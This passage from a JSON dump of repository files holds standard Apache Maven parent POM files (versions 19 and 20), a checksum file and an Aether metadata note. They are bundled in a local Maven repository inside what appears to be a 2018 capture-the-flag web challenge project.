information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Héritier</name>\n      <email>aheritier@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Hervé Boutemy</name>\n      <email>hboutemy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>krosenvold</id>\n      <name>Kristian Rosenvold</name>\n      <email>krosenvold@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>pgier</id>\n      <name>Paul Gier</name>\n      <email>pgier@apache.org</email>\n      <organization>Red Hat</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <email>rgoers@apache.org</email>\n      <organization>Intuit</organization>\n      <timezone>-8</timezone>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>stephenc</id>\n      <name>Stephen Connolly</name>\n      <email>stephenc@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wfay</id>\n      <name>Wayne Fay</name>\n      <email>wfay@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>bdemers</id>\n      <name>Brian Demers</name>\n      <organization>Sonatype</organization>\n      <email>bdemers@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>cstamas</id>\n      <name>Tamas Cservenak</name>\n      <organization>Sonatype</organization>\n      <email>cstamas@apache.org</email>\n      <timezone>+1</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dbradicich</id>\n      <name>Damian Bradicich</name>\n      <organization>Sonatype</organization>\n      <email>dbradicich@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>ifedorenko</id>\n      <name>Igor Fedorenko</name>\n      <email>igor@ifedorenko.com</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Founder</role>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <!--End Committers-->\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>markh</id>\n      <name>Mark Hobson</name>\n      <email>markh@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ptahchiev</id>\n      <name>Petar Tahchiev</name>\n      <email>ptahchiev@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+2</timezone>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-19</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-19</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-19</url>\n  </scm>\n  <ciManagement>\n    <system>Hudson</system>\n    <url>http://grid.sonatype.org/ci</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org</url>\n    </site>\n  </distributionManagement>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.3.1</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n\n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.2</version>\n            <executions>\n              <execution>\n                <phase>clean</phase>\n                <goals>\n                  <goal>clean</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.3.1</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.7.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <!-- TODO: when upgrading to the next release of PMD, this can be changed to /rulesets/maven.xml -->\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <!-- NOTE: 2.3 or more requires java 1.5 -->\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <!-- Taglist Plugin must be executed after JXR Plugin -->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.7</version>\n            <configuration>\n              <links>\n                <link>http://download.oracle.com/javase/1.4.2/1.4.2/docs/api</link>\n                <link>http://download.oracle.com/javaee/1.4/docs/api</link>\n                <link>http://download.oracle.com/javase/1.5.0/docs/api</link>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://commons.apache.org/dbcp/apidocs/</link>\n                <link>http://commons.apache.org/fileupload/apidocs/</link>\n                <link>http://commons.apache.org/httpclient/apidocs/</link>\n                <link>http://commons.apache.org/logging/apidocs/</link>\n                <link>http://commons.apache.org/pool/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-utils/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-classworlds/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-containers/plexus-container-default/apidocs/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n       <!-- we need to attach the descriptor for this pom -->\n        <plugins>\n          <plugin>\n            <artifactId>maven-site-plugin</artifactId>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/19/maven-parent-19.pom.sha1",
    "content": "181554ae180245d7f653f77ff869790c2062f2d0"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/20/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:20 CST 2018\nmaven-parent-20.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/20/maven-parent-20.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>9</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>20</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Héritier</name>\n      <email>aheritier@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Hervé Boutemy</name>\n      <email>hboutemy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>krosenvold</id>\n      <name>Kristian Rosenvold</name>\n      <email>krosenvold@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>pgier</id>\n      <name>Paul Gier</name>\n      <email>pgier@apache.org</email>\n      <organization>Red Hat</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <email>rgoers@apache.org</email>\n      <organization>Intuit</organization>\n      <timezone>-8</timezone>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>stephenc</id>\n      <name>Stephen Connolly</name>\n      <email>stephenc@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wfay</id>\n      <name>Wayne Fay</name>\n      <email>wfay@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>bdemers</id>\n      <name>Brian Demers</name>\n      <organization>Sonatype</organization>\n      <email>bdemers@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>cstamas</id>\n      <name>Tamas Cservenak</name>\n      <organization>Sonatype</organization>\n      <email>cstamas@apache.org</email>\n      <timezone>+1</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dbradicich</id>\n      <name>Damian Bradicich</name>\n      <organization>Sonatype</organization>\n      <email>dbradicich@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>godin</id>\n      <name>Evgeny Mandrikov</name>\n      <organization>SonarSource</organization>\n      <email>godin@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+3</timezone>\n    </developer>\n    <developer>\n      <id>ifedorenko</id>\n      <name>Igor Fedorenko</name>\n      <email>igor@ifedorenko.com</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      